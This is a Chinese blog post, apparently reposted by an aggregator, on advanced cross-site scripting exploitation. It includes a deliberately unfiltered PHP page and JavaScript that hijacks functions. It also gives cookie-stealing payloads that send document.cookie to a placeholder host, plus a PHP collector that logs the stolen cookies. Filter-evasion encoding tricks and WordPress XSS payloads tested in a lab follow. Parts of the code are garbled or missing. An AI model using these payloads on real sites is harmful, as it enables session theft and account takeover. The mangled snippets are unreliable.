ajax在Xss中的利用,XSS高级利用
點(diǎn)擊閱讀
利用 xss 的 javascript 劫持
一個(gè) xss 漏洞示例頁面
1
2
3
4
5
6
7
8
9
10
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
?>
這段代碼中首先包含一個(gè)表單,用于向頁面自己發(fā)送 GET 請(qǐng)求,帶一個(gè)名為 xss 的參數(shù)。 然后 PHP 會(huì)讀取該參數(shù),如果不為空,則直接打印出來,這里不存在任何過濾。也就是說,如果 xss 中存在 HTML 結(jié)構(gòu)性的內(nèi)容,打印之后會(huì)直接解釋為 HTML 元素
例如
1
2
3
4
5
6
7
8
9
10
Javascript Hijack with XSSscript.js 內(nèi)容為
1
2
3
4
function Hello()
{
alert("hi");
}
當(dāng)傳入 xss 為
xss=function Hello() { alert("hacked"); } 時(shí)
鼠標(biāo)點(diǎn)擊會(huì)彈出 hacked 而非預(yù)定的 hi
這里利用 xss 漏洞劫持 javascript 代碼
可以傳入以執(zhí)行較長的代碼
XSS 會(huì)話劫持
可以在含 xss 漏洞的地方使用以下類似代碼盜取 cookie
window.open("http://x.x.x.x/getcookie.php?cookie="+document.cookie)
或
document.location="http://x.x.x.x/getcookie.php?cookie="+document.cookie;
getcookie.php:
1
2
3
4
5
$cookie=@$_GET['cookie'];
$path="./cookies.txt";
file_put_contents($path,$cookie.PHP_EOL, FILE_APPEND);
?>
為防止察覺,使用 javascript
script.js:
1
2
3
var script =document.createElement('script');
script.src='http://x.x.x.x/getcookie.php?cookie='+escape(document.cookie);
document.body.appendChild(script);
xss 常用的編碼
bWAPP 中的 XSS - Reflected (AJAX/XML)
輸入 <img src=1 οnerrοr="alert(document.cookie)">
彈窗獲取 cookie
<、>分別為的 HTML tag
第一個(gè),html 實(shí)體編碼,例如:
alert()
第二個(gè),進(jìn)制類,例如:
x61x6cx65x72x74x60x78x73x73x60
某些時(shí)候,也有不帶 x,例如:5c6a
第三個(gè),Unicode,例如:
u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060
第四個(gè),純轉(zhuǎn)義,例如:
' " < >
這樣的在特殊字符前加進(jìn)行轉(zhuǎn)義。
html 標(biāo)簽中:
1
2
3
4
5
html中當(dāng)然會(huì)支持html實(shí)體編碼,例如=,也有<
支持十六進(jìn)制,但是要以開頭,其中x大寫小寫無所謂。
支持十進(jìn)制,要以開頭,注意,沒有x哦。
支持?jǐn)?shù)字部分高位補(bǔ)充0,例如=,=這兩是一樣的。
可能你已經(jīng)發(fā)現(xiàn)了,后綴有沒有; 都無所謂
javascript 中:
1
2
3
eval函數(shù)里,支持十六進(jìn)制,但是要以 x 開頭,x只能小寫!必須兩位,例如:x5c
eval函數(shù)里,支持八進(jìn)制,但是要以 開頭。必須兩位,例如:134
eval函數(shù)里,還支持u前綴的unicode,本質(zhì)是:16進(jìn)制的ascii碼。必須是四位,例如:u005c
WordPress XSS 漏洞
于是下載了 wordpress-3.8.3 在虛擬機(jī)測(cè)試
發(fā)現(xiàn)管理員登陸時(shí),編輯內(nèi)容并不會(huì)被過濾
編輯文章,回到首頁查看
但是 chrome 下彈出的 cookie 似乎被過濾了,最關(guān)鍵的部分并沒有,利用 js 在服務(wù)器上獲取的 cookie 同樣不完整
firefox 下卻沒問題
以下兩個(gè)地方都被插入了代碼,也會(huì)彈出兩次
標(biāo)題
側(cè)欄
去官網(wǎng)下了個(gè)最新版 WordPress
管理員的編輯仍不會(huì)被過濾
接收到 cookie
wordpress 站點(diǎn)有多個(gè)用戶,當(dāng)不是管理員時(shí)
漏洞的成因是在/wp-includes/formatting.php 中的 wptexturize 函數(shù)
formatting.php 應(yīng)該是用于清理 XHTML 和用特定字符集正確格式化文本
1
2
3
4
5
6
7
8
9
10
11
12
13
function wptexturize($text) {
......
$textarr = preg_split('/(<.>|[.*])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
foreach ( $textarr as &$curl ) {
......
}
return implode( '', $textarr );
}
這里的正則/(<.>|[.*])/Us會(huì)匹配
1
2
3
4
5
6
7
//這個(gè)新姿勢(shì)能在前臺(tái)xss彈窗 不限制用戶權(quán)限 后臺(tái)的確不能彈窗
[["][a>alert(1)]
前后臺(tái)都能彈窗 似乎還是老的onmouseover能用
[[" NOT VULNERABLE]
然而我發(fā)現(xiàn)這 payload 沒什么效果,有時(shí)間再好好看看,完善一下
總結(jié)
以上是生活随笔為你收集整理的ajax在Xss中的利用,XSS高级利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 微软服务器藏,配置微软CA服务器+SCE
- 下一篇: 服务器系统加速,系统加速技巧:让Linu